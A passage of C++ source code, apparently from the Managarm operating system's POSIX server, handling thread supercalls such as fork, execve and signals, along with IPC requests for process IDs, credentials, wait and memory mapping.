printf("x%d: %.16lx, ip: %.16lx, sp: %.16lx\n", i, gprs[i], pcrs[kHelRegIp], pcrs[kHelRegSp]);
}
}
#endif
printf("Mappings:\n");
for (auto mapping : *(proc->vmContext())) {
uintptr_t start = mapping.baseAddress();
uintptr_t end = start + mapping.size();
std::string path;
if(mapping.backingFile().get()) {
// TODO: store the ViewPath inside the mapping.
ViewPath vp{proc->fsContext()->getRoot().first,
mapping.backingFile()->associatedLink()};
// TODO: This code is copied from GETCWD, factor it out into a function.
path = "";
while(true) {
if(vp == proc->fsContext()->getRoot())
break;
// If we are at the origin of a mount point, traverse that mount point.
ViewPath traversed;
if(vp.second == vp.first->getOrigin()) {
if(!vp.first->getParent())
break;
auto anchor = vp.first->getAnchor();
assert(anchor); // Non-root mounts must have anchors in their parents.
traversed = ViewPath{vp.first->getParent(), vp.second};
}else{
traversed = vp;
}
auto owner = traversed.second->getOwner();
if(!owner) { // We did not reach the root.
// TODO: Can we get rid of this case?
path = "?" + path;
break;
}
path = "/" + traversed.second->getName() + path;
vp = ViewPath{traversed.first, owner->treeLink()};
}
}else{
path = "anon";
}
printf("%016lx - %016lx %s %s%s%s %s + 0x%lx\n", start, end,
mapping.isPrivate() ? "P" : "S",
mapping.isExecutable() ? "x" : "-",
mapping.isReadable() ? "r" : "-",
mapping.isWritable() ? "w" : "-",
path.c_str(),
mapping.backingFileOffset());
if(ip >= start && ip < end)
printf(" ^ IP is 0x%lx bytes into this mapping\n", ip - start);
if(sp >= start && sp < end)
printf(" ^ Stack is 0x%lx bytes into this mapping\n", sp - start);
}
}
async::result<void> observeThread(std::shared_ptr<Process> self,
std::shared_ptr<Generation> generation) {
auto thread = self->threadDescriptor();
uint64_t sequence = 1;
while(true) {
if(generation->inTermination)
break;
helix::Observe observe;
auto &&submit = helix::submitObserve(thread, &observe,
sequence, helix::Dispatcher::global());
co_await submit.async_wait();
// Usually, we should terminate via the generation->inTermination check above.
if(observe.error() == kHelErrThreadTerminated) {
std::cout << "\e[31m" "posix: Thread terminated unexpectedly" "\e[39m" << std::endl;
co_return;
}
HEL_CHECK(observe.error());
sequence = observe.sequence();
if(observe.observation() == kHelObserveSuperCall + 10) {
uintptr_t gprs[kHelNumGprs];
HEL_CHECK(helLoadRegisters(thread.getHandle(), kHelRegsGeneral, &gprs));
size_t size = gprs[kHelRegArg0];
// TODO: this is a waste of memory. Use some always-zero memory instead.
HelHandle handle;
HEL_CHECK(helAllocateMemory(size, 0, nullptr, &handle));
void *address = co_await self->vmContext()->mapFile(0,
helix::UniqueDescriptor{handle}, nullptr,
0, size, true, kHelMapProtRead | kHelMapProtWrite);
gprs[kHelRegError] = kHelErrNone;
gprs[kHelRegOut0] = reinterpret_cast<uintptr_t>(address);
HEL_CHECK(helStoreRegisters(thread.getHandle(), kHelRegsGeneral, &gprs));
HEL_CHECK(helResume(thread.getHandle()));
}else if(observe.observation() == kHelObserveSuperCall + 11) {
uintptr_t gprs[kHelNumGprs];
HEL_CHECK(helLoadRegisters(thread.getHandle(), kHelRegsGeneral, &gprs));
self->vmContext()->unmapFile(reinterpret_cast<void *>(gprs[kHelRegArg0]), gprs[kHelRegArg1]);
gprs[kHelRegError] = kHelErrNone;
gprs[kHelRegOut0] = 0;
HEL_CHECK(helStoreRegisters(thread.getHandle(), kHelRegsGeneral, &gprs));
HEL_CHECK(helResume(thread.getHandle()));
}else if(observe.observation() == kHelObserveSuperCall + 1) {
struct ManagarmProcessData {
HelHandle posixLane;
void *threadPage;
HelHandle *fileTable;
void *clockTrackerPage;
};
ManagarmProcessData data = {
self->clientPosixLane(),
self->clientThreadPage(),
static_cast<HelHandle *>(self->clientFileTable()),
self->clientClkTrackerPage()
};
if(logRequests)
std::cout << "posix: GET_PROCESS_DATA supercall" << std::endl;
uintptr_t gprs[kHelNumGprs];
HEL_CHECK(helLoadRegisters(thread.getHandle(), kHelRegsGeneral, &gprs));
auto storeData = co_await helix_ng::writeMemory(thread, gprs[kHelRegArg0],
sizeof(ManagarmProcessData), &data);
HEL_CHECK(storeData.error());
gprs[kHelRegError] = kHelErrNone;
HEL_CHECK(helStoreRegisters(thread.getHandle(), kHelRegsGeneral, &gprs));
HEL_CHECK(helResume(thread.getHandle()));
}else if(observe.observation() == kHelObserveSuperCall + 2) {
if(logRequests)
std::cout << "posix: fork supercall" << std::endl;
auto child = Process::fork(self);
// Copy registers from the current thread to the new one.
auto new_thread = child->threadDescriptor().getHandle();
uintptr_t pcrs[2], gprs[kHelNumGprs], thrs[2];
HEL_CHECK(helLoadRegisters(thread.getHandle(), kHelRegsProgram, &pcrs));
HEL_CHECK(helLoadRegisters(thread.getHandle(), kHelRegsGeneral, &gprs));
HEL_CHECK(helLoadRegisters(thread.getHandle(), kHelRegsThread, &thrs));
HEL_CHECK(helStoreRegisters(new_thread, kHelRegsProgram, &pcrs));
HEL_CHECK(helStoreRegisters(new_thread, kHelRegsThread, &thrs));
// Setup post supercall registers in both threads and finally resume the threads.
gprs[kHelRegError] = kHelErrNone;
gprs[kHelRegOut0] = child->pid();
HEL_CHECK(helStoreRegisters(thread.getHandle(), kHelRegsGeneral, &gprs));
gprs[kHelRegOut0] = 0;
HEL_CHECK(helStoreRegisters(new_thread, kHelRegsGeneral, &gprs));
HEL_CHECK(helResume(thread.getHandle()));
HEL_CHECK(helResume(new_thread));
}else if(observe.observation() == kHelObserveSuperCall + 9) {
if(logRequests)
std::cout << "posix: clone supercall" << std::endl;
uintptr_t gprs[kHelNumGprs];
HEL_CHECK(helLoadRegisters(thread.getHandle(), kHelRegsGeneral, &gprs));
void *ip = reinterpret_cast<void *>(gprs[kHelRegArg0]);
void *sp = reinterpret_cast<void *>(gprs[kHelRegArg1]);
auto child = Process::clone(self, ip, sp);
auto new_thread = child->threadDescriptor().getHandle();
gprs[kHelRegError] = kHelErrNone;
gprs[kHelRegOut0] = child->pid();
HEL_CHECK(helStoreRegisters(thread.getHandle(), kHelRegsGeneral, &gprs));
HEL_CHECK(helResume(thread.getHandle()));
HEL_CHECK(helResume(new_thread));
}else if(observe.observation() == kHelObserveSuperCall + 3) {
if(logRequests)
std::cout << "posix: execve supercall" << std::endl;
uintptr_t gprs[kHelNumGprs];
HEL_CHECK(helLoadRegisters(thread.getHandle(), kHelRegsGeneral, &gprs));
std::string path;
path.resize(gprs[kHelRegArg1]);
auto loadPath = co_await helix_ng::readMemory(self->vmContext()->getSpace(),
gprs[kHelRegArg0], gprs[kHelRegArg1], path.data());
HEL_CHECK(loadPath.error());
std::string args_area;
args_area.resize(gprs[kHelRegArg3]);
auto loadArgs = co_await helix_ng::readMemory(self->vmContext()->getSpace(),
gprs[kHelRegArg2], gprs[kHelRegArg3], args_area.data());
HEL_CHECK(loadArgs.error());
std::string env_area;
env_area.resize(gprs[kHelRegArg5]);
auto loadEnv = co_await helix_ng::readMemory(self->vmContext()->getSpace(),
gprs[kHelRegArg4], gprs[kHelRegArg5], env_area.data());
HEL_CHECK(loadEnv.error());
if(logRequests || logPaths)
std::cout << "posix: execve path: " << path << std::endl;
// Parse both the arguments and the environment areas.
size_t k;
std::vector<std::string> args;
k = 0;
while(k < args_area.size()) {
auto d = args_area.find(char(0), k);
assert(d != std::string::npos);
args.push_back(args_area.substr(k, d - k));
// std::cout << "arg: " << args.back() << std::endl;
k = d + 1;
}
std::vector<std::string> env;
k = 0;
while(k < env_area.size()) {
auto d = env_area.find(char(0), k);
assert(d != std::string::npos);
env.push_back(env_area.substr(k, d - k));
// std::cout << "env: " << env.back() << std::endl;
k = d + 1;
}
auto error = co_await Process::exec(self,
path, std::move(args), std::move(env));
if(error == Error::noSuchFile) {
gprs[kHelRegError] = kHelErrNone;
gprs[kHelRegOut0] = ENOENT;
HEL_CHECK(helStoreRegisters(thread.getHandle(), kHelRegsGeneral, &gprs));
HEL_CHECK(helResume(thread.getHandle()));
}else if(error == Error::badExecutable) {
gprs[kHelRegError] = kHelErrNone;
gprs[kHelRegOut0] = ENOEXEC;
HEL_CHECK(helStoreRegisters(thread.getHandle(), kHelRegsGeneral, &gprs));
HEL_CHECK(helResume(thread.getHandle()));
}else
assert(error == Error::success);
}else if(observe.observation() == kHelObserveSuperCall + 4) {
if(logRequests)
std::cout << "posix: EXIT supercall" << std::endl;
uintptr_t gprs[kHelNumGprs];
HEL_CHECK(helLoadRegisters(thread.getHandle(), kHelRegsGeneral, &gprs));
auto code = gprs[kHelRegArg0];
co_await self->terminate(TerminationByExit{static_cast<int>(code & 0xFF)});
}else if(observe.observation() == kHelObserveSuperCall + 7) {
if(logRequests)
std::cout << "posix: SIG_MASK supercall" << std::endl;
uintptr_t gprs[kHelNumGprs];
HEL_CHECK(helLoadRegisters(thread.getHandle(), kHelRegsGeneral, &gprs));
auto mode = gprs[kHelRegArg0];
auto mask = gprs[kHelRegArg1];
uint64_t former = self->signalMask();
if(mode == SIG_SETMASK) {
self->setSignalMask(mask);
}else if(mode == SIG_BLOCK) {
self->setSignalMask(former | mask);
}else if(mode == SIG_UNBLOCK) {
self->setSignalMask(former & ~mask);
}else{
assert(!mode);
}
gprs[kHelRegError] = 0;
gprs[kHelRegOut0] = former;
HEL_CHECK(helStoreRegisters(thread.getHandle(), kHelRegsGeneral, &gprs));
HEL_CHECK(helResume(thread.getHandle()));
}else if(observe.observation() == kHelObserveSuperCall + 8) {
if(logRequests || logSignals)
std::cout << "posix: SIG_RAISE supercall" << std::endl;
uintptr_t gprs[kHelNumGprs];
HEL_CHECK(helLoadRegisters(thread.getHandle(), kHelRegsGeneral, &gprs));
gprs[kHelRegError] = 0;
HEL_CHECK(helStoreRegisters(thread.getHandle(), kHelRegsGeneral, &gprs));
if(!self->checkSignalRaise())
std::cout << "\e[33m" "posix: Ignoring global signal flag "
"in SIG_RAISE supercall" "\e[39m" << std::endl;
bool killed = false;
auto active = co_await self->signalContext()->fetchSignal(~self->signalMask(), true);
if(active)
co_await self->signalContext()->raiseContext(active, self.get(), killed);
if(killed)
break;
HEL_CHECK(helResume(thread.getHandle()));
}else if(observe.observation() == kHelObserveSuperCall + 6) {
if(logRequests || logSignals)
std::cout << "posix: SIG_RESTORE supercall" << std::endl;
co_await self->signalContext()->restoreContext(thread);
HEL_CHECK(helResume(thread.getHandle()));
}else if(observe.observation() == kHelObserveSuperCall + 5) {
if(logRequests || logSignals)
std::cout << "posix: SIG_KILL supercall" << std::endl;
uintptr_t gprs[kHelNumGprs];
HEL_CHECK(helLoadRegisters(thread.getHandle(), kHelRegsGeneral, &gprs));
auto pid = gprs[kHelRegArg0];
auto sn = gprs[kHelRegArg1];
std::shared_ptr<Process> target;
if(!pid) {
std::cout << "\e[31mposix: SIG_KILL(0) should target "
"the whole process group\e[39m" << std::endl;
if(logSignals)
std::cout << "posix: SIG_KILL on PID " << self->pid() << std::endl;
target = self;
}else{
if(logSignals)
std::cout << "posix: SIG_KILL on PID " << pid << std::endl;
target = Process::findProcess(pid);
assert(target);
}
// Clear the error code.
// TODO: This should only happen is raising succeeds. Move it somewhere else?
gprs[kHelRegError] = 0;
HEL_CHECK(helStoreRegisters(thread.getHandle(), kHelRegsGeneral, &gprs));
UserSignal info;
info.pid = self->pid();
info.uid = 0;
target->signalContext()->issueSignal(sn, info);
// If the process signalled itself, we should process the signal before resuming.
bool killed = false;
if(self->checkOrRequestSignalRaise()) {
auto active = co_await self->signalContext()->fetchSignal(
~self->signalMask(), true);
if(active)
co_await self->signalContext()->raiseContext(active, self.get(), killed);
}
if(killed)
break;
HEL_CHECK(helResume(thread.getHandle()));
}else if(observe.observation() == kHelObserveInterrupt) {
//printf("posix: Process %s was interrupted\n", self->path().c_str());
bool killed = false;
if(self->checkOrRequestSignalRaise()) {
auto active = co_await self->signalContext()->fetchSignal(
~self->signalMask(), true);
if(active)
co_await self->signalContext()->raiseContext(active, self.get(), killed);
}
if(killed)
break;
HEL_CHECK(helResume(thread.getHandle()));
}else if(observe.observation() == kHelObservePanic) {
printf("\e[35mposix: User space panic in process %s\n", self->path().c_str());
dumpRegisters(self);
printf("\e[39m");
fflush(stdout);
if(debugFaults) {
launchGdbServer(self.get());
co_await async::suspend_indefinitely({});
}
auto item = new SignalItem;
item->signalNumber = SIGABRT;
if(!self->checkSignalRaise())
std::cout << "\e[33m" "posix: Ignoring global signal flag "
"during synchronous user space panic" "\e[39m" << std::endl;
bool killed;
co_await self->signalContext()->raiseContext(item, self.get(), killed);
if(killed)
break;
HEL_CHECK(helResume(thread.getHandle()));
}else if(observe.observation() == kHelObserveBreakpoint) {
printf("\e[35mposix: Breakpoint in process %s\n", self->path().c_str());
dumpRegisters(self);
printf("\e[39m");
fflush(stdout);
if(debugFaults) {
launchGdbServer(self.get());
co_await async::suspend_indefinitely({});
}
}else if(observe.observation() == kHelObservePageFault) {
printf("\e[31mposix: Page fault in process %s\n", self->path().c_str());
dumpRegisters(self);
printf("\e[39m");
fflush(stdout);
if(debugFaults) {
launchGdbServer(self.get());
co_await async::suspend_indefinitely({});
}
auto item = new SignalItem;
item->signalNumber = SIGSEGV;
if(!self->checkSignalRaise())
std::cout << "\e[33m" "posix: Ignoring global signal flag "
"during synchronous SIGSEGV" "\e[39m" << std::endl;
bool killed;
co_await self->signalContext()->raiseContext(item, self.get(), killed);
if(killed)
break;
HEL_CHECK(helResume(thread.getHandle()));
}else if(observe.observation() == kHelObserveGeneralFault) {
printf("\e[31mposix: General fault in process %s\n", self->path().c_str());
dumpRegisters(self);
printf("\e[39m");
fflush(stdout);
if(debugFaults) {
launchGdbServer(self.get());
co_await async::suspend_indefinitely({});
}
auto item = new SignalItem;
item->signalNumber = SIGSEGV;
if(!self->checkSignalRaise())
std::cout << "\e[33m" "posix: Ignoring global signal flag "
"during synchronous SIGSEGV" "\e[39m" << std::endl;
bool killed;
co_await self->signalContext()->raiseContext(item, self.get(), killed);
if(killed)
break;
HEL_CHECK(helResume(thread.getHandle()));
}else if(observe.observation() == kHelObserveIllegalInstruction) {
printf("\e[31mposix: Illegal instruction in process %s\n", self->path().c_str());
dumpRegisters(self);
printf("\e[39m");
fflush(stdout);
if(debugFaults) {
launchGdbServer(self.get());
co_await async::suspend_indefinitely({});
}
auto item = new SignalItem;
item->signalNumber = SIGILL;
if(!self->checkSignalRaise())
std::cout << "\e[33m" "posix: Ignoring global signal flag "
"during synchronous SIGILL" "\e[39m" << std::endl;
bool killed;
co_await self->signalContext()->raiseContext(item, self.get(), killed);
if(killed)
break;
HEL_CHECK(helResume(thread.getHandle()));
}else{
printf("\e[31mposix: Unexpected observation in process %s\n", self->path().c_str());
dumpRegisters(self);
printf("\e[39m");
fflush(stdout);
auto item = new SignalItem;
item->signalNumber = SIGILL;
if(!self->checkSignalRaise())
std::cout << "\e[33m" "posix: Ignoring global signal flag "
"during synchronous SIGILL" "\e[39m" << std::endl;
bool killed;
co_await self->signalContext()->raiseContext(item, self.get(), killed);
if(killed)
break;
HEL_CHECK(helResume(thread.getHandle()));
}
}
}
async::result<void> serveSignals(std::shared_ptr<Process> self,
std::shared_ptr<Generation> generation) {
auto thread = self->threadDescriptor();
async::cancellation_token cancellation = generation->cancelServe;
uint64_t sequence = 1;
while(true) {
if(cancellation.is_cancellation_requested())
break;
//std::cout << "Waiting for raise in " << self->pid() << std::endl;
auto result = co_await self->signalContext()->pollSignal(sequence,
UINT64_C(-1), cancellation);
sequence = std::get<0>(result);
//std::cout << "Calling helInterruptThread on " << self->pid() << std::endl;
HEL_CHECK(helInterruptThread(thread.getHandle()));
}
if(logCleanup)
std::cout << "\e[33mposix: Exiting serveSignals()\e[39m" << std::endl;
generation->signalsDone.raise();
}
async::result<void> serveRequests(std::shared_ptr<Process> self,
std::shared_ptr<Generation> generation) {
async::cancellation_token cancellation = generation->cancelServe;
async::cancellation_callback cancel_callback{cancellation, [&] {
HEL_CHECK(helShutdownLane(self->posixLane().getHandle()));
}};
while(true) {
auto [accept, recv_head] = co_await helix_ng::exchangeMsgs(
self->posixLane(),
helix_ng::accept(
helix_ng::recvInline()
)
);
if(accept.error() == kHelErrLaneShutdown)
break;
HEL_CHECK(accept.error());
if(recv_head.error() == kHelErrBufferTooSmall) {
std::cout << "posix: Rejecting request due to RecvInline overflow" << std::endl;
continue;
}
HEL_CHECK(recv_head.error());
auto conversation = accept.descriptor();
auto sendErrorResponse = [&conversation]<typename Message = managarm::posix::SvrResponse>(managarm::posix::Errors err) -> async::result<void> {
Message resp;
resp.set_error(err);
auto [send_resp] = co_await helix_ng::exchangeMsgs(
conversation,
helix_ng::sendBragiHeadOnly(resp, frg::stl_allocator{})
);
HEL_CHECK(send_resp.error());
};
auto preamble = bragi::read_preamble(recv_head);
assert(!preamble.error());
managarm::posix::CntRequest req;
if (preamble.id() == managarm::posix::CntRequest::message_id) {
auto o = bragi::parse_head_only<managarm::posix::CntRequest>(recv_head);
if (!o) {
std::cout << "posix: Rejecting request due to decoding failure" << std::endl;
break;
}
req = *o;
}
if(preamble.id() == bragi::message_id<managarm::posix::GetTidRequest>) {
auto req = bragi::parse_head_only<managarm::posix::GetTidRequest>(recv_head);
if (!req) {
std::cout << "posix: Rejecting request due to decoding failure" << std::endl;
break;
}
if(logRequests)
std::cout << "posix: GET_TID" << std::endl;
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
resp.set_pid(self->tid());
auto [sendResp] = co_await helix_ng::exchangeMsgs(
conversation,
helix_ng::sendBragiHeadOnly(resp, frg::stl_allocator{})
);
HEL_CHECK(sendResp.error());
}else if(req.request_type() == managarm::posix::CntReqType::GET_PID) {
if(logRequests)
std::cout << "posix: GET_PID" << std::endl;
helix::SendBuffer send_resp;
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
resp.set_pid(self->pid());
auto ser = resp.SerializeAsString();
auto &&transmit = helix::submitAsync(conversation, helix::Dispatcher::global(),
helix::action(&send_resp, ser.data(), ser.size()));
co_await transmit.async_wait();
HEL_CHECK(send_resp.error());
}else if(preamble.id() == managarm::posix::GetPpidRequest::message_id) {
auto req = bragi::parse_head_only<managarm::posix::GetPpidRequest>(recv_head);
if (!req) {
std::cout << "posix: Rejecting request due to decoding failure" << std::endl;
break;
}
if(logRequests)
std::cout << "posix: GET_PPID" << std::endl;
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
resp.set_pid(self->getParent()->pid());
auto [send_resp] = co_await helix_ng::exchangeMsgs(
conversation,
helix_ng::sendBragiHeadOnly(resp, frg::stl_allocator{})
);
HEL_CHECK(send_resp.error());
}else if(preamble.id() == managarm::posix::GetUidRequest::message_id) {
auto req = bragi::parse_head_only<managarm::posix::GetUidRequest>(recv_head);
if (!req) {
std::cout << "posix: Rejecting request due to decoding failure" << std::endl;
break;
}
if(logRequests)
std::cout << "posix: GET_UID" << std::endl;
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
resp.set_uid(self->uid());
auto [send_resp] = co_await helix_ng::exchangeMsgs(
conversation,
helix_ng::sendBragiHeadOnly(resp, frg::stl_allocator{})
);
HEL_CHECK(send_resp.error());
}else if(preamble.id() == managarm::posix::SetUidRequest::message_id) {
auto req = bragi::parse_head_only<managarm::posix::SetUidRequest>(recv_head);
if (!req) {
std::cout << "posix: Rejecting request due to decoding failure" << std::endl;
break;
}
if(logRequests)
std::cout << "posix: SET_UID" << std::endl;
Error err = self->setUid(req->uid());
if(err == Error::accessDenied) {
co_await sendErrorResponse(managarm::posix::Errors::ACCESS_DENIED);
} else if(err == Error::illegalArguments) {
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_ARGUMENTS);
} else {
co_await sendErrorResponse(managarm::posix::Errors::SUCCESS);
}
}else if(preamble.id() == managarm::posix::GetEuidRequest::message_id) {
auto req = bragi::parse_head_only<managarm::posix::GetEuidRequest>(recv_head);
if (!req) {
std::cout << "posix: Rejecting request due to decoding failure" << std::endl;
break;
}
if(logRequests)
std::cout << "posix: GET_EUID" << std::endl;
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
resp.set_uid(self->euid());
auto [send_resp] = co_await helix_ng::exchangeMsgs(
conversation,
helix_ng::sendBragiHeadOnly(resp, frg::stl_allocator{})
);
HEL_CHECK(send_resp.error());
}else if(preamble.id() == managarm::posix::SetEuidRequest::message_id) {
auto req = bragi::parse_head_only<managarm::posix::SetEuidRequest>(recv_head);
if (!req) {
std::cout << "posix: Rejecting request due to decoding failure" << std::endl;
break;
}
if(logRequests)
std::cout << "posix: SET_EUID" << std::endl;
Error err = self->setEuid(req->uid());
if(err == Error::accessDenied) {
co_await sendErrorResponse(managarm::posix::Errors::ACCESS_DENIED);
} else if(err == Error::illegalArguments) {
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_ARGUMENTS);
} else {
co_await sendErrorResponse(managarm::posix::Errors::SUCCESS);
}
}else if(preamble.id() == managarm::posix::GetGidRequest::message_id) {
auto req = bragi::parse_head_only<managarm::posix::GetGidRequest>(recv_head);
if (!req) {
std::cout << "posix: Rejecting request due to decoding failure" << std::endl;
break;
}
if(logRequests)
std::cout << "posix: GET_GID" << std::endl;
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
resp.set_uid(self->gid());
auto [send_resp] = co_await helix_ng::exchangeMsgs(
conversation,
helix_ng::sendBragiHeadOnly(resp, frg::stl_allocator{})
);
HEL_CHECK(send_resp.error());
}else if(preamble.id() == managarm::posix::GetEgidRequest::message_id) {
auto req = bragi::parse_head_only<managarm::posix::GetEgidRequest>(recv_head);
if (!req) {
std::cout << "posix: Rejecting request due to decoding failure" << std::endl;
break;
}
if(logRequests)
std::cout << "posix: GET_EGID" << std::endl;
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
resp.set_uid(self->egid());
auto [send_resp] = co_await helix_ng::exchangeMsgs(
conversation,
helix_ng::sendBragiHeadOnly(resp, frg::stl_allocator{})
);
HEL_CHECK(send_resp.error());
}else if(preamble.id() == managarm::posix::SetGidRequest::message_id) {
auto req = bragi::parse_head_only<managarm::posix::SetGidRequest>(recv_head);
if (!req) {
std::cout << "posix: Rejecting request due to decoding failure" << std::endl;
break;
}
if(logRequests)
std::cout << "posix: SET_GID" << std::endl;
Error err = self->setGid(req->uid());
if(err == Error::accessDenied) {
co_await sendErrorResponse(managarm::posix::Errors::ACCESS_DENIED);
} else if(err == Error::illegalArguments) {
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_ARGUMENTS);
} else {
co_await sendErrorResponse(managarm::posix::Errors::SUCCESS);
}
}else if(preamble.id() == managarm::posix::SetEgidRequest::message_id) {
auto req = bragi::parse_head_only<managarm::posix::SetEgidRequest>(recv_head);
if (!req) {
std::cout << "posix: Rejecting request due to decoding failure" << std::endl;
break;
}
if(logRequests)
std::cout << "posix: SET_EGID" << std::endl;
Error err = self->setEgid(req->uid());
if(err == Error::accessDenied) {
co_await sendErrorResponse(managarm::posix::Errors::ACCESS_DENIED);
} else if(err == Error::illegalArguments) {
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_ARGUMENTS);
} else {
co_await sendErrorResponse(managarm::posix::Errors::SUCCESS);
}
}else if(req.request_type() == managarm::posix::CntReqType::WAIT) {
if(logRequests)
std::cout << "posix: WAIT" << std::endl;
if(req.flags() & ~(WNOHANG | WUNTRACED | WCONTINUED)) {
std::cout << "posix: WAIT invalid flags: " << req.flags() << std::endl;
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_ARGUMENTS);
continue;
}
if(req.flags() & WUNTRACED)
std::cout << "\e[31mposix: WAIT flag WUNTRACED is silently ignored\e[39m" << std::endl;
if(req.flags() & WCONTINUED)
std::cout << "\e[31mposix: WAIT flag WCONTINUED is silently ignored\e[39m" << std::endl;
TerminationState state;
auto pid = co_await self->wait(req.pid(), req.flags() & WNOHANG, &state);
helix::SendBuffer send_resp;
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
resp.set_pid(pid);
uint32_t mode = 0;
if(auto byExit = std::get_if<TerminationByExit>(&state); byExit) {
mode |= 0x200 | byExit->code; // 0x200 = normal exit().
}else if(auto bySignal = std::get_if<TerminationBySignal>(&state); bySignal) {
mode |= 0x400 | (bySignal->signo << 24); // 0x400 = killed by signal.
}else{
assert(std::holds_alternative<std::monostate>(state));
}
resp.set_mode(mode);
auto ser = resp.SerializeAsString();
auto &&transmit = helix::submitAsync(conversation, helix::Dispatcher::global(),
helix::action(&send_resp, ser.data(), ser.size()));
co_await transmit.async_wait();
HEL_CHECK(send_resp.error());
}else if(req.request_type() == managarm::posix::CntReqType::GET_RESOURCE_USAGE) {
if(logRequests)
std::cout << "posix: GET_RESOURCE_USAGE" << std::endl;
HelThreadStats stats;
HEL_CHECK(helQueryThreadStats(self->threadDescriptor().getHandle(), &stats));
uint64_t user_time;
if(req.mode() == RUSAGE_SELF) {
user_time = stats.userTime;
}else if(req.mode() == RUSAGE_CHILDREN) {
user_time = self->accumulatedUsage().userTime;
}else{
std::cout << "\e[31mposix: GET_RESOURCE_USAGE mode is not supported\e[39m"
<< std::endl;
// TODO: Return an error response.
}
helix::SendBuffer send_resp;
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
resp.set_ru_user_time(stats.userTime);
auto ser = resp.SerializeAsString();
auto &&transmit = helix::submitAsync(conversation, helix::Dispatcher::global(),
helix::action(&send_resp, ser.data(), ser.size()));
co_await transmit.async_wait();
HEL_CHECK(send_resp.error());
}else if(preamble.id() == bragi::message_id<managarm::posix::VmMapRequest>) {
auto req = bragi::parse_head_only<managarm::posix::VmMapRequest>(recv_head);
if (!req) {
std::cout << "posix: Rejecting request due to decoding failure" << std::endl;
break;
}
if(logRequests)
std::cout << "posix: VM_MAP size: " << (void *)(size_t)req->size() << std::endl;
// TODO: Validate req->flags().
if(req->mode() & ~(PROT_READ | PROT_WRITE | PROT_EXEC)) {
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_ARGUMENTS);
continue;
}
uint32_t nativeFlags = 0;
if(req->mode() & PROT_READ)
nativeFlags |= kHelMapProtRead;
if(req->mode() & PROT_WRITE)
nativeFlags |= kHelMapProtWrite;
if(req->mode() & PROT_EXEC)
nativeFlags |= kHelMapProtExecute;
bool copyOnWrite;
if((req->flags() & (MAP_PRIVATE | MAP_SHARED)) == MAP_PRIVATE) {
copyOnWrite = true;
}else if((req->flags() & (MAP_PRIVATE | MAP_SHARED)) == MAP_SHARED) {
copyOnWrite = false;
}else{
throw std::runtime_error("posix: Handle illegal flags in VM_MAP");
}
uintptr_t hint = 0;
if(req->flags() & MAP_FIXED)
hint = req->address_hint();
void *address;
if(req->flags() & MAP_ANONYMOUS) {
assert(req->fd() == -1);
assert(!req->rel_offset());
// TODO: this is a waste of memory. Use some always-zero memory instead.
HelHandle handle;
HEL_CHECK(helAllocateMemory(req->size(), 0, nullptr, &handle));
address = co_await self->vmContext()->mapFile(hint,
helix::UniqueDescriptor{handle}, nullptr,
0, req->size(), copyOnWrite, nativeFlags);
}else{
auto file = self->fileContext()->getFile(req->fd());
assert(file && "Illegal FD for VM_MAP");
auto memory = co_await file->accessMemory();
address = co_await self->vmContext()->mapFile(hint,
std::move(memory), std::move(file),
req->rel_offset(), req->size(), copyOnWrite, nativeFlags);
}
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
resp.set_offset(reinterpret_cast<uintptr_t>(address));
auto [sendResp] = co_await helix_ng::exchangeMsgs(
conversation,
helix_ng::sendBragiHeadOnly(resp, frg::stl_allocator{})
);
HEL_CHECK(sendResp.error());
}else if(req.request_type() == managarm::posix::CntReqType::VM_REMAP) {
if(logRequests)
std::cout << "posix: VM_REMAP" << std::endl;
helix::SendBuffer send_resp;
auto address = co_await self->vmContext()->remapFile(
reinterpret_cast<void *>(req.address()), req.size(), req.new_size());
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
resp.set_offset(reinterpret_cast<uintptr_t>(address));
auto ser = resp.SerializeAsString();
auto &&transmit = helix::submitAsync(conversation, helix::Dispatcher::global(),
helix::action(&send_resp, ser.data(), ser.size()));
co_await transmit.async_wait();
HEL_CHECK(send_resp.error());
}else if(req.request_type() == managarm::posix::CntReqType::VM_PROTECT) {
if(logRequests)
std::cout << "posix: VM_PROTECT" << std::endl;
helix::SendBuffer send_resp;
managarm::posix::SvrResponse resp;
if(req.mode() & ~(PROT_READ | PROT_WRITE | PROT_EXEC)) {
resp.set_error(managarm::posix::Errors::ILLEGAL_ARGUMENTS);
auto ser = resp.SerializeAsString();
auto &&transmit = helix::submitAsync(conversation, helix::Dispatcher::global(),
helix::action(&send_resp, ser.data(), ser.size()));
co_await transmit.async_wait();
HEL_CHECK(send_resp.error());
continue;
}
uint32_t native_flags = 0;
if(req.mode() & PROT_READ)
native_flags |= kHelMapProtRead;
if(req.mode() & PROT_WRITE)
native_flags |= kHelMapProtWrite;
if(req.mode() & PROT_EXEC)
native_flags |= kHelMapProtExecute;
co_await self->vmContext()->protectFile(
reinterpret_cast<void *>(req.address()), req.size(), native_flags);
resp.set_error(managarm::posix::Errors::SUCCESS);
auto ser = resp.SerializeAsString();
auto &&transmit = helix::submitAsync(conversation, helix::Dispatcher::global(),
helix::action(&send_resp, ser.data(), ser.size()));
co_await transmit.async_wait();
HEL_CHECK(send_resp.error());
}else if(req.request_type() == managarm::posix::CntReqType::VM_UNMAP) {
if(logRequests)
std::cout << "posix: VM_UNMAP address: " << (void *)req.address()
<< ", size: " << (void *)(size_t)req.size() << std::endl;
helix::SendBuffer send_resp;
self->vmContext()->unmapFile(reinterpret_cast<void *>(req.address()), req.size());
